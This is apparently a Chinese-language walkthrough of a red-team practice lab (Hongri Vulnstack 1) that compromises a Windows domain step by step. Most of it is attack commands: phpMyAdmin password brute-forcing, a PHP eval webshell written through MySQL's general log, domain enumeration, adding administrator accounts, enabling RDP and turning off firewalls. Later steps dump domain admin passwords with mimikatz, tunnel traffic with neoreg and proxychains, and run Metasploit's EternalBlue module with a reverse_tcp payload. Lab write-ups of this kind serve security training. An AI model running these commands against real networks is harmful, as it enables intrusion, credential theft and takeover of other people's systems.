仅供安全研究,切勿违法犯罪。
大家好,这段时间在玩红日安全的靶场,这个靶场质量非常高,推荐大家玩一玩
红日安全网站http://vulnstack.qiyuanxuetang.net/ 这里我们打的靶场系列一
这边找到靶机
进去下载靶机
靶机登录密码一律为:hongrisec@2019
我这边下载下来一共是三个靶机 分别是win2003 win7(有phpstudy,内含web环境) win2008
这是靶机网络环境的拓步图
那么win7是通外网的,win2003和win2008是不通外网,但是与win7是互通的
那么我们简单配置一下网络(每块网卡位置要对应上,实践经验,) 如果先是nat在仅主机
那么它本身配的域控ipv4 全跑nat网了 它配的域控ipv4应该要在仅主机的那块网卡上 所以仅主机网卡要放在第一位
win7
win2003
win2008
我登录win2003 2008的时候还提示密码过期要修改
我改成了hongrisec@2020
仅主机模式网段是192.168.25.*
win7nat网ip是192.168.88.128
第一步我们信息整理一下 一方面是开放端口 一方面是目录扫描
密码爆破起来 msf(有时候它会误报,我们用它误报的去登录一下,跳转了,所以误报,把这个误报密码从字典拿出来即可)
search type:auxiliary login
search type:auxiliary name:phpmyadmin login
use 0
options
set rhosts 192.168.88.128
set pass_file /home/yan8925298/1.txt
set targeturi /phpMyAdmin/index.php
set threads 2
run
然后我们总结一下phpadmingetshell的方法
1 直接把shell写进去
2 利用全局日志写shell
3 慢日志文件写 shell
4 使用错误日志getshell
5利用phpmyadmin4.8.x本地文件包含漏洞getsh
通过phpinfo 知道C:/phpStudy/WWW/phpinfo.php这是网站根目录
使用直接写shell
使用这个下面这个命令查看下secure_file_priv
show variables like '%secure%';
secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
那我们使用全局日志写shell
--SHOW VARIABLES LIKE '%general%'; 查看配置,默认是关闭状态
--set global general_log = on; 开启general_log模式
--set global general_log_file='C:/phpStudy/WWW/shell.php'; 修改日志目录为shell地址
--select "<?php @eval($_POST['123']);?>" 写入shell因为开启了日志记录功能,所执行的sql语句都会被记录在日志中
依次执行命令 成了
根目录下还有个web网站,dirsearch没扫出来
这边信息泄露完了啊
有个模板内容编辑
随便找个php文件添加一句话木马吧 放到第一句 有些文章加到第二句,连接不上
<?php eval($_POST[cmd]); ?>
这边用工具跑出来一个目录列表
访问了这几个文件夹没收获
访问一下这个robots文件,根据索引访问一下。
这不就找到了
这个新增模板也能getshell
下一步进攻内网
这个网站漏洞 下篇文章用代码审计 审审
先通关吧
初步收集
ipconfig /all # 查看本机ip,所在域
route print # 打印路由信息
net view # 查看局域网内其他主机名
arp -a # 查看arp缓存
net start # 查看开启了哪些服务
net share # 查看开启了哪些共享
net share ipc$ # 开启ipc共享
net share c$ # 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:"" # 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名" # 建立c盘共享
dir \\192.168.xx.xx\c$\user # 查看192.168.xx.xx c盘user目录下的文件
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字 net group "domain computers" /domain # 查看域中的其他主机名 net group "doamin controllers" /domain # 查看域控制器(可能有多台)
遇到这个问题 建议大家去控制面板 管理用户看看 域控制器里面有此用户(Administrator)吗
我是自己建了一个用户 然后删除 相当于刷新了一下用户面板 使这个liukaifeng01生效
whoami
net user /domain
net group "domain admins" /domain
route print
该域名为god.org,域控为
OWA$
,域管理员为Administrator
,内网网段为192.168.52.1/24,我们用Ping命令探测域控的ip
ping owa.god.org
输入netstat -ano | find "3389" 查看远程桌面是否没开 没开我们用下面命令
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
我们接下来创建一个admin用户
net user admin Gz123456 /add
并将admin用户添加至管理员组
net localgroup Administrators admin /add
输入命令mstsc 远程连接这台主机
远程连接失败 我们去用nmap扫一下3389服务状态
nmap -p 3389 192.168.192.197
现状态为filtered,应该是被防火墙给过滤了
关闭防火墙:netsh firewall set opmode mode=disable
关闭防火墙: netsh advfirewall set allprofiles state off
查看防火墙状态: netsh advfirewall show allprofiles
防火墙恢复默认配置:netsh firewall reset
成功连接了
我们这边整理一下,因为这是我们自己搭建的,所以我们物理机肯定和nat网是通的,但是真实情况是win7nat网是外网,所以不能直接用内网cs做服务器,要用公网做服务器,因为内网cs做服务器,外网是ping不通的内网的。
我们把公网服务器生成的木马用蚁剑拖到文件管理器里面
然后cd到becon.exe目录
start becon.exe
我们这边用插件的mimitakz
找出域控管理员明文密码了hongrisec@2020
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
远程桌面 使用管理员权限打开命令行界面 执行Ping命令探测内网主机
三台主机存活
我们现在的问题是没有办法直连这三台主机,因为这三台主机不出网,所以我们需要利用中转服务器做一个sock5代理。
这里直接用reGeorg+proxychains组合
reGeorg:
python3 neoreg.py generate -k tenet (在neoreg_servers文件夹下生成各种类型代理脚本 -k指定连接密码)
将脚本放到中转服务器的目录下,前提是要可以访问到
python3 neoreg.py -k tenet -u http://192.168.192.197/tunnel.php
proxychains(proxychains4不支持icmp协议,所以不支持ping命令):
vim /etc/proxychains.conf(注释最后一行的scos4代理 添加socks5 127.0.0.1:1080)
proxychains msfconsole -n (-n,这样就不会显示日志输出。代理msf)
我们这里使用永恒之蓝的检测和利用模块
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 目标ip
run
加载payload
search ms17-010
use exploit/windows/smb/ms17_010_eternalblue (支持打64位系统,不支持32位。这个payload不行就换下一个)
set payload windows/x64/meterpreter/reverse_tcp
set rhosts 目标机
set LHOST 攻击机
show options 检查配置
exploit或者run 攻击
这三台都存在永恒之蓝漏洞
基本差不多了
我们获得域控主机管理员账户密码了 还要永恒之蓝漏洞
我打了一下 就能打个win7 143那台机子
2003 和2008我用command模块
use auxiliary/admin/smb/ms17_010_command
set COMMAND net user
set RHOST 192.168.52.141
run
set command net user sss qwer@1234 /add #添加用户
run # 发现用户添加不成功,后来发现是因为有密码设置策略,密码不能太简单。
set command net localgroup administrators sss /add #管理员权限
run
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
#开启3389端口
run
set command netsh advfirewall set allprofiles state off #关闭防火墙
run
后面就不需要我多说了吧 开启3389端口 用win7连接域控管理员账户密码,拿下域控主机2008
结尾在给大家拓步一下知识 如何上线cs 不出网域控主机
这是我画的拓补图,首先我们的公网是可以上线192.197的 因为192.197通外网
我们先上线192.197
右键代理转发(需要用到哪个ip就在哪个ip转发) 选择转发上线(图片中的ip和我们的拓补图可能对不上 不用在意细节,注重网段即可)
监听地址选择同网段的ip 会话选择这个上线的shell( 你右键代理转发选的哪个监听器,这里就用那个会话)
然后选择监听器,生成木马
成功上线